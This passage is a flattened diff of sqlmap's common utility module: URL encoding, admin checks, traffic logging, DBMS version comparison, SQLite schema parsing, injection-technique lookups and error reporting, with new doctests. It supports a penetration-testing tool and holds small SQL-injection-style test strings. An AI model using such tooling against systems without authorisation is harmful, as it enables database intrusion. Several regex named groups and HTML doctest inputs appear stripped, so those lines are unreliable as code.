"non-ASCII identifier names " + warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" + singleTimeWarnMessage(warnMsg) + + if convall or safe is None: + safe = "" + + # corner case when character % really needs to be + # encoded (when not representing URL encoded char) + # except in cases when tampering scripts are used + if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: + value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value) + value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) + + while True: + result = _urllib.parse.quote(getBytes(value), safe) + + if limit and len(result) > URLENCODE_CHAR_LIMIT: + if count >= len(URLENCODE_FAILSAFE_CHARS): + break + + while count < len(URLENCODE_FAILSAFE_CHARS): + safe += URLENCODE_FAILSAFE_CHARS[count] + count += 1 + if safe[-1] in value: + break + else: + break + + if spaceplus: + result = result.replace(_urllib.parse.quote(' '), '+') + + result = result.replace(DOLLAR_MARKER, '$') + + return result def runningAsAdmin(): """ @@ -2011,11 +3050,13 @@ def runningAsAdmin(): if PLATFORM in ("posix", "mac"): _ = os.geteuid() - isAdmin = isinstance(_, (int, float, long)) and _ == 0 + isAdmin = isinstance(_, (float, six.integer_types)) and _ == 0 elif IS_WIN: + import ctypes + _ = ctypes.windll.shell32.IsUserAnAdmin() - isAdmin = isinstance(_, (int, float, long)) and _ == 1 + isAdmin = isinstance(_, (float, six.integer_types)) and _ == 1 else: errMsg = "sqlmap is not able to check if you are running it " errMsg += "as an administrator account on this platform. " @@ -2028,41 +3069,51 @@ def runningAsAdmin(): return isAdmin -def logHTTPTraffic(requestLogMsg, responseLogMsg): +def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ Logs HTTP traffic to the output file """ - if not conf.trafficFile: - return - - with kb.locks.log: - dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) - dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) - dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) + if conf.harFile: + conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) -def getPageTemplate(payload, place): - """ - Cross-linked method - """ + if conf.trafficFile: + with kb.locks.log: + dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) + dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) + dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) - pass +def getPageTemplate(payload, place): # Cross-referenced function + raise NotImplementedError +@cachedmethod def getPublicTypeMembers(type_, onlyValues=False): """ Useful for getting members from types (e.g. in enums) + + >>> [_ for _ in getPublicTypeMembers(OS, True)] + ['Linux', 'Windows'] + >>> [_ for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True)] + [1, 2, 3, 4, 5, 6] """ + retVal = [] + for name, value in inspect.getmembers(type_): - if not name.startswith('__'): + if not name.startswith("__"): if not onlyValues: - yield (name, value) + retVal.append((name, value)) else: - yield value + retVal.append(value) + + return retVal def enumValueToNameLookup(type_, value_): """ Returns name of a enum member with a given value + + >>> enumValueToNameLookup(SORT_ORDER, 100) + 'LAST' """ retVal = None @@ -2074,15 +3125,24 @@ def enumValueToNameLookup(type_, value_): return retVal +@cachedmethod def extractRegexResult(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given content + + >>> extractRegexResult(r'a(?P[^g]+)g', 'abcdefg') + 'bcdef' + >>> extractRegexResult(r'a(?P[^g]+)g', 'ABCDEFG', re.I) + 'BCDEF' """ retVal = None - if regex and content and '?P' in regex: + if regex and content and "?P" in regex: + if isinstance(content, six.binary_type) and isinstance(regex, six.text_type): + regex = getBytes(regex) + match = re.search(regex, content, flags) if match: @@ -2093,14 +3153,27 @@ def extractRegexResult(regex, content, flags=0): def extractTextTagContent(page): """ Returns list containing content from "textual" tags + + >>> extractTextTagContent('Title
foobar
Link') + ['Title', 'foobar'] """ - page = re.sub(r"(?si)[^\s>]*%s[^<]*" % REFLECTED_VALUE_MARKER, "", page or "") - return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) + page = page or "" + + if REFLECTED_VALUE_MARKER in page: + try: + page = re.sub(r"(?i)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) + except MemoryError: + page = page.replace(REFLECTED_VALUE_MARKER, "") + + return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value + + >>> trimAlphaNum('AND 1>(2+3)-- foobar') + ' 1>(2+3)-- ' """ while value and value[-1].isalnum(): @@ -2114,14 +3187,35 @@ def trimAlphaNum(value): def isNumPosStrValue(value): """ Returns True if value is a string (or integer) with a positive integer representation + + >>> isNumPosStrValue(1) + True + >>> isNumPosStrValue('1') + True + >>> isNumPosStrValue(0) + False + >>> isNumPosStrValue('-2') + False + >>> isNumPosStrValue('100000000000000000000') + False """ - return (value and isinstance(value, basestring) and value.isdigit() and value != "0") or (isinstance(value, int) and value != 0) + retVal = False + + try: + retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + except ValueError: + pass + + return retVal @cachedmethod def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias + + >>> aliasToDbmsEnum('mssql') + 'Microsoft SQL Server' """ retVal = None @@ -2138,19 +3232,26 @@ def findDynamicContent(firstPage, secondPage): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made + + >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") + >>> kb.dynamicMarkings + [('natum reque et per. ', 'Facer tritani repreh')] """ + if not firstPage or not secondPage: + return + infoMsg = "searching for dynamic content" - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) - blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks() + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: (_, _, length) = block - if length <= DYNAMICITY_MARK_LENGTH: + if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH: blocks.remove(block) # Making of dynamic markings based on prefix/suffix principle @@ -2168,14 +3269,25 @@ def findDynamicContent(firstPage, secondPage): if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue - prefix = trimAlphaNum(prefix) - suffix = trimAlphaNum(suffix) + if prefix and suffix: + prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] + suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] - kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH / 2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH / 2]) if suffix else None)) + for _ in (firstPage, secondPage): + match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) + if match: + infix = match.group(1) + if infix[0].isalnum(): + prefix = trimAlphaNum(prefix) + if infix[-1].isalnum(): + suffix = trimAlphaNum(suffix) + break + + kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) def removeDynamicContent(page): """ @@ -2190,127 +3302,321 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % suffix, suffix, page) + page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % prefix, prefix, page) + page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r'(?s)%s.+%s' % (prefix, suffix), '%s%s' % (prefix, suffix), page) + page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page -def filterStringValue(value, regex, replacement=""): +def filterStringValue(value, charRegex, replacement=""): """ Returns string value consisting only of chars satisfying supplied regular expression (note: it has to be in form [...]) + + >>> filterStringValue('wzydeadbeef0123#', r'[0-9a-f]') + 'deadbeef0123' """ retVal = value if value: - retVal = re.sub(regex.replace("[", "[^") if "[^" not in regex else regex.replace("[^", "["), replacement, value) + retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), replacement, value) return retVal -def filterControlChars(value): +def filterControlChars(value, replacement=' '): + """ + Returns string value with control chars being supstituted with replacement character + + >>> filterControlChars('AND 1>(2+3)\\n--') + 'AND 1>(2+3) --' + """ + + return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) + +def filterNone(values): """ - Returns string value with control chars being supstituted with ' ' + Emulates filterNone([...]) functionality + + >>> filterNone([1, 2, "", None, 3, 0]) + [1, 2, 3, 0] """ - return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ') + retVal = values + + if isinstance(values, _collections.Iterable): + retVal = [_ for _ in values if _ or _ == 0] -def isDBMSVersionAtLeast(version): + return retVal + +def isDBMSVersionAtLeast(minimum): """ - Checks if the recognized DBMS version is at least the version - specified + Checks if the recognized DBMS version is at least the version specified + + >>> pushValue(kb.dbmsVersion) + >>> kb.dbmsVersion = "2" + >>> isDBMSVersionAtLeast("1.3.4.1.4") + True + >>> isDBMSVersionAtLeast(2.1) + False + >>> isDBMSVersionAtLeast(">2") + False + >>> isDBMSVersionAtLeast(">=2.0") + True + >>> kb.dbmsVersion = "<2" + >>> isDBMSVersionAtLeast("2") + False + >>> isDBMSVersionAtLeast("1.5") + True + >>> kb.dbmsVersion = "MySQL 5.4.3-log4" + >>> isDBMSVersionAtLeast("5") + True + >>> kb.dbmsVersion = popValue() """ retVal = None - if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION: - value = Backend.getVersion().replace(" ", "").rstrip('.') + if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: + version = Backend.getVersion().replace(" ", "").rstrip('.') - while True: - index = value.find('.', value.find('.') + 1) + correction = 0.0 + if ">=" in version: + pass + elif '>' in version: + correction = VERSION_COMPARISON_CORRECTION + elif '<' in version: + correction = -VERSION_COMPARISON_CORRECTION - if index > -1: - value = value[0:index] + value[index + 1:] - else: - break + version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) - value = filterStringValue(value, '[0-9.><=]') + if version: + if '.' in version: + parts = version.split('.', 1) + parts[1] = filterStringValue(parts[1], '[0-9]') + version = '.'.join(parts) + + try: + version = float(filterStringValue(version, '[0-9.]')) + correction + except ValueError: + return None + + if isinstance(minimum, six.string_types): + if '.' in minimum: + parts = minimum.split('.', 1) + parts[1] = filterStringValue(parts[1], '[0-9]') + minimum = '.'.join(parts) + + correction = 0.0 + if minimum.startswith(">="): + pass + elif minimum.startswith(">"): + correction = VERSION_COMPARISON_CORRECTION - if isinstance(value, basestring): - if value.startswith(">="): - value = float(value.replace(">=", "")) - elif value.startswith(">"): - value = float(value.replace(">", "")) + 0.01 - elif value.startswith("<="): - value = float(value.replace("<=", "")) - elif value.startswith(">"): - value = float(value.replace("<", "")) - 0.01 + minimum = float(filterStringValue(minimum, '[0-9.]')) + correction - retVal = getUnicode(value) >= getUnicode(version) + retVal = version >= minimum return retVal def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema + + >>> kb.data.cachedColumns = {} + >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) + True """ + retVal = False + + value = extractRegexResult(r"(?s)\((?P.+)\)", value) + if value: table = {} - columns = {} + columns = OrderedDict() + + value = re.sub(r"\(.+?\)", "", value).strip() + + for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + column = match.group(1).strip(match.group(2) or "") + if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): + continue + retVal = True - for match in re.finditer(r"(\w+)\s+(TEXT|NUMERIC|INTEGER|REAL|NONE)", value): - columns[match.group(1)] = match.group(2) + columns[column] = match.group(3) or "TEXT" - table[conf.tbl] = columns - kb.data.cachedColumns[conf.db] = table + table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db].update(table) + else: + kb.data.cachedColumns[conf.db] = table + + return retVal def getTechniqueData(technique=None): """ Returns injection data for technique specified """ - retVal = None - - if technique and technique in kb.injection.data: - retVal = kb.injection.data[technique] - - return retVal + return kb.injection.data.get(technique if technique is not None else getTechnique()) def isTechniqueAvailable(technique): """ - Returns True if there is injection data which sqlmap could use for - technique specified + Returns True if there is injection data which sqlmap could use for technique specified + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.ERROR] = [test for test in getSortedInjectionTests() if "error" in test["title"].lower()][0] + >>> isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) + True + >>> kb.injection.data = popValue() """ - if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech: + if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique: return False else: return getTechniqueData(technique) is not None -def isInferenceAvailable(): +def isHeavyQueryBased(technique=None): """ - Returns True whether techniques using inference technique are available + Returns True whether current (kb.)technique is heavy-query based + + >>> pushValue(kb.injection.data) + >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED) + >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0] + >>> isHeavyQueryBased() + True + >>> kb.injection.data = popValue() """ - return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) + retVal = False -def setOptimize(): - """ - Sets options turned on by switch '-o' - """ + technique = technique or getTechnique() - #conf.predictOutput = True - conf.keepAlive = True - conf.threads = 3 if conf.threads < 3 else conf.threads - conf.nullConnection = not any([conf.data, conf.textOnly, conf.titles, conf.string, conf.regexp, conf.tor]) + if isTechniqueAvailable(technique): + data = getTechniqueData(technique) + if data and "heavy query" in data["title"].lower(): + retVal = True - if not conf.nullConnection: - debugMsg = "turning off --null-connection switch used indirectly by switch -o" - logger.debug(debugMsg) + return retVal + +def isStackingAvailable(): + """ + Returns True whether techniques using stacking are available + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.STACKED] = [test for test in getSortedInjectionTests() if "stacked" in test["title"].lower()][0] + >>> isStackingAvailable() + True + >>> kb.injection.data = popValue() + """ + + retVal = False + + if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: + retVal = True + else: + for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): + data = getTechniqueData(technique) + if data and "stacked" in data["title"].lower(): + retVal = True + break + + return retVal + +def isInferenceAvailable(): + """ + Returns True whether techniques using inference technique are available + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = getSortedInjectionTests()[0] + >>> isInferenceAvailable() + True + >>> kb.injection.data = popValue() + """ + + return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) + +def setOptimize(): + """ + Sets options turned on by switch '-o' + """ + + # conf.predictOutput = True + conf.keepAlive = True + conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads + conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) + + if not conf.nullConnection: + debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'" + logger.debug(debugMsg) + +def saveConfig(conf, filename): + """ + Saves conf to configuration filename + """ + + config = UnicodeRawConfigParser() + userOpts = {} + + for family in optDict: + userOpts[family] = [] + + for option, value in conf.items(): + for family, optionData in optDict.items(): + if option in optionData: + userOpts[family].append((option, value, optionData[option])) + + for family, optionData in userOpts.items(): + config.add_section(family) + + optionData.sort() + + for option, value, datatype in optionData: + if datatype and isListLike(datatype): + datatype = datatype[0] + + if option in IGNORE_SAVE_OPTIONS: + continue + + if value is None: + if datatype == OPTION_TYPE.BOOLEAN: + value = "False" + elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): + if option in defaults: + value = str(defaults[option]) + else: + value = '0' + elif datatype == OPTION_TYPE.STRING: + value = "" + + if isinstance(value, six.string_types): + value = value.replace("\n", "\n ") + + config.set(family, option, value) + + with openFile(filename, 'w') as f: + try: + config.write(f) + except IOError as ex: + errMsg = "something went wrong while trying " + errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) def initTechnique(technique=None): """ @@ -2330,7 +3636,7 @@ def initTechnique(technique=None): for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) - debugMsg = "resuming configuration option '%s' (%s)" % (key, value) + debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, six.string_types) else value) logger.debug(debugMsg) if value and key == "optimize": @@ -2338,20 +3644,25 @@ def initTechnique(technique=None): else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) - logger.warn(warnMsg) + logger.warning(warnMsg) - except sqlmapDataException: + except SqlmapDataException: errMsg = "missing data in old session file(s). " errMsg += "Please use '--flush-session' to deal " errMsg += "with this error" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself + + >>> arrayizeValue('1') + ['1'] """ - if not isListLike(value): + if isinstance(value, _collections.KeysView): + value = [_ for _ in value] + elif not isListLike(value): value = [value] return value @@ -2359,16 +3670,38 @@ def arrayizeValue(value): def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself + + >>> unArrayizeValue(['1']) + '1' + >>> unArrayizeValue('1') + '1' + >>> unArrayizeValue(['1', '2']) + '1' + >>> unArrayizeValue([['a', 'b'], 'c']) + 'a' + >>> unArrayizeValue(_ for _ in xrange(10)) + 0 """ if isListLike(value): - value = value[0] if len(value) > 0 else None + if not value: + value = None + elif len(value) == 1 and not isListLike(value[0]): + value = value[0] + else: + value = [_ for _ in flattenValue(value) if _ is not None] + value = value[0] if len(value) > 0 else None + elif inspect.isgenerator(value): + value = unArrayizeValue([_ for _ in value]) return value def flattenValue(value): """ Returns an iterator representing flat representation of a given value + + >>> [_ for _ in flattenValue([['1'], [['2'], '3']])] + ['1', '2', '3'] """ for i in iter(value): @@ -2378,20 +3711,49 @@ def flattenValue(value): else: yield i +def joinValue(value, delimiter=','): + """ + Returns a value consisting of joined parts of a given value + + >>> joinValue(['1', '2']) + '1,2' + >>> joinValue('1') + '1' + >>> joinValue(['1', None]) + '1,None' + """ + + if isListLike(value): + retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) + else: + retVal = value + + return retVal + def isListLike(value): """ Returns True if the given value is a list-like instance + + >>> isListLike([1, 2, 3]) + True + >>> isListLike('2') + False """ - return isinstance(value, (list, tuple, set, BigArray)) + return isinstance(value, (list, tuple, set, OrderedSet, BigArray)) def getSortedInjectionTests(): """ - Returns prioritized test list by eventually detected DBMS from error - messages + Returns prioritized test list by eventually detected DBMS from error messages + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.SQLITE + >>> [test for test in getSortedInjectionTests() if hasattr(test, "details") and hasattr(test.details, "dbms")][0].details.dbms == kb.forcedDbms + True + >>> kb.forcedDbms = popValue() """ - retVal = conf.tests + retVal = copy.deepcopy(conf.tests) def priorityFunction(test): retVal = SORT_ORDER.FIRST @@ -2399,27 +3761,29 @@ def priorityFunction(test): if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST - elif 'details' in test and 'dbms' in test.details: - if test.details.dbms in Backend.getErrorParsedDBMSes(): + elif "details" in test and "dbms" in (test.details or {}): + if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: retVal = SORT_ORDER.THIRD return retVal - if Backend.getErrorParsedDBMSes(): + if Backend.getIdentifiedDbms(): retVal = sorted(retVal, key=priorityFunction) return retVal def filterListValue(value, regex): """ - Returns list with items that have parts satisfying given regular - expression + Returns list with items that have parts satisfying given regular expression + + >>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)') + ['users', 'admins'] """ if isinstance(value, list) and regex: - retVal = filter(lambda _: re.search(regex, _, re.I), value) + retVal = [_ for _ in value if re.search(regex, _, re.I)] else: retVal = value @@ -2431,87 +3795,279 @@ def showHttpErrorCodes(): """ if kb.httpErrorCodes: - warnMsg = "HTTP error codes detected during testing:\n" - warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \ - if code in httplib.responses else '?', count) \ - for code, count in kb.httpErrorCodes.items()) - logger.warn(warnMsg) + warnMsg = "HTTP error codes detected during run:\n" + warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items()) + logger.warning(warnMsg) + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes): + msg = "too many 4xx and/or 5xx HTTP error codes " + msg += "could mean that some kind of protection is involved (e.g. WAF)" + logger.debug(msg) -def getComparePageRatio(firstPage, secondPage, filtered=False): +def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ - Returns comparison ratio between two given pages + Returns file handle of a given filename + + >>> "openFile" in openFile(__file__).read() + True + >>> b"openFile" in openFile(__file__, "rb", None).read() + True """ - if filtered: - (firstPage, secondPage) = map(getFilteredPageContent, (firstPage, secondPage)) + # Reference: https://stackoverflow.com/a/37462452 + if 'b' in mode: + buffering = 0 + encoding = None - seqMatcher = getCurrentThreadData().seqMatcher - seqMatcher.set_seq1(firstPage) - seqMatcher.set_seq2(secondPage) + if filename == STDIN_PIPE_DASH: + if filename not in kb.cache.content: + kb.cache.content[filename] = sys.stdin.read() - return seqMatcher.quick_ratio() + return contextlib.closing(io.StringIO(readCachedFileContent(filename))) + else: + try: + return codecs_open(filename, mode, encoding, errors, buffering) + except IOError: + errMsg = "there has been a file opening error for filename '%s'. " % filename + errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") + errMsg += "and that it's not locked by another process" + raise SqlmapSystemException(errMsg) -def openFile(filename, mode='r'): +def decodeIntToUnicode(value): """ - Returns file handle of a given filename + Decodes inferenced integer value to an unicode character + + >>> decodeIntToUnicode(35) == '#' + True + >>> decodeIntToUnicode(64) == '@' + True """ + retVal = value - try: - return codecs.open(filename, mode, UNICODE_ENCODING, "replace") - except IOError: - errMsg = "there has been a file opening error for filename '%s'. " % filename - errMsg += "Please check %s permissions on a file " % ("write" if \ - mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") - errMsg += "and that it's not locked by another process." - raise sqlmapFilePathException, errMsg + if isinstance(value, int): + try: + if value > 255: + _ = "%x" % value + + if len(_) % 2 == 1: + _ = "0%s" % _ + + raw = decodeHex(_) + + if Backend.isDbms(DBMS.MYSQL): + # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord + # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 + retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) + elif Backend.isDbms(DBMS.MSSQL): + # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 + retVal = getUnicode(raw, "UTF-16-BE") + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) + retVal = _unichr(value) + else: + retVal = getUnicode(raw, conf.encoding) + else: + retVal = _unichr(value) + except: + retVal = INFERENCE_UNKNOWN_CHAR -def decodeIntToUnicode(value): + return retVal + +def getDaysFromLastUpdate(): """ - Decodes inferenced integer value with usage of current page encoding + Get total number of days from last update + + >>> getDaysFromLastUpdate() >= 0 + True """ - try: - # http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_ord - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,) or conf.charset: - return struct.pack('B' if value < 256 else '>> all(_ in unhandledExceptionMessage() for _ in ("unhandled exception occurred", "Operating system", "Command line")) + True """ - errMsg = "unhandled exception in %s, retry your " % VERSION_STRING - errMsg += "run with the latest development version from the Subversion " - errMsg += "repository. If the exception persists, please send by e-mail " - errMsg += "to '%s' or open a new issue at '%s' with the following text " % (ML, ISSUES_PAGE) - errMsg += "and any information required to reproduce the bug. The " - errMsg += "developers will try to reproduce the bug, fix it accordingly " - errMsg += "and get back to you.\n" - errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") + errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING + errMsg += "run with the latest development version from official GitHub " + errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE + errMsg += "at '%s' " % ISSUES_PAGE + errMsg += "with the following text and any other information required to " + errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " + errMsg += "and get back to you\n" + errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION - errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % " ".join(sys.argv) - errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb and kb.technique else None) - errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) + errMsg += "Operating system: %s\n" % platform.platform() + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None))) + errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None)) + errMsg += "Back-end DBMS:" + + if Backend.getDbms() is not None: + errMsg += " %s (fingerprinted)" % Backend.getDbms() + + if Backend.getIdentifiedDbms() is not None and (Backend.getDbms() is None or Backend.getIdentifiedDbms() != Backend.getDbms()): + errMsg += " %s (identified)" % Backend.getIdentifiedDbms() + + if not errMsg.endswith(')'): + errMsg += " None" + + return errMsg + +def getLatestRevision(): + """ + Retrieves latest revision from the offical repository + """ + + retVal = None + req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + + try: + content = getUnicode(_urllib.request.urlopen(req).read()) + retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P[\d.]+)", content) + except: + pass + + return retVal + +def fetchRandomAgent(): + """ + Returns random HTTP User-Agent header value + + >>> '(' in fetchRandomAgent() + True + """ 